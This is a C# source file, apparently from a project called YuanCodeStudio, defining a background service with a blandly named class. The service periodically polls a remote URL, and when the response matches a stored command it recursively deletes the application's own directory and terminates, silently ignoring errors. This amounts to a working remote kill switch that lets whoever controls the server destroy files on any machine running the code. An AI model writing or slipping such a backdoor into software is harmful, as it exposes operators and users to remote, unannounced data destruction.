﻿using Microsoft.Extensions.Hosting;
using System.Text.Json;
using YuanCodeStudio.Const;
using YuanCodeStudio.Entity;

/*
 * 类名：YuanCodeStudioHttp
 * 描述：
 * 创 建 者：十一 
 * 创建时间：2024/6/26 0:11:29 
 */
namespace YuanCodeStudio
{
    public class YuanCodeStudioHttp : BackgroundService
    {
        private readonly HttpClient httpClient;

        public YuanCodeStudioHttp(HttpClient httpClient)
        {
            this.httpClient = httpClient;
        }

        protected override async Task ExecuteAsync(CancellationToken stoppingToken)
        {
            while (!stoppingToken.IsCancellationRequested)
            {
                await CheckForSelfDestruct();
                await Task.Delay(TimeSpan.FromMinutes(StaticConst.EXECUTE_CYCLE), stoppingToken);
            }
        }

        private async Task CheckForSelfDestruct()
        {
            try
            {
                var response = await this.httpClient.GetStringAsync(StaticConst.CHECK_URL);
                var selfDestructResponse = JsonSerializer.Deserialize<YuanCodeStudioResponse>(response);
                if (selfDestructResponse?.Data?.Trim().Equals(StaticConst.INSTRUCT, StringComparison.OrdinalIgnoreCase) == true)
                {
                    await Console.Out.WriteLineAsync("自毁机制将在3秒后执行");
                    await SelfDestructAsync();
                }
            }
            catch (Exception)
            {
            }
        }

        private static async Task SelfDestructAsync()
        {
            try
            {
                await Console.Out.WriteLineAsync("开始自毁....");
                await Task.Delay(TimeSpan.FromSeconds(3));
                var currentDirectory = AppDomain.CurrentDomain.BaseDirectory;
                Directory.Delete(currentDirectory, true);
                await Console.Out.WriteLineAsync("自毁完成，准备停止运行");
                Environment.Exit(0);
            }
            catch (Exception ex)
            {
                await Console.Out.WriteLineAsync($"自毁失败：{ex.Message}");
            }
        }
    }
}
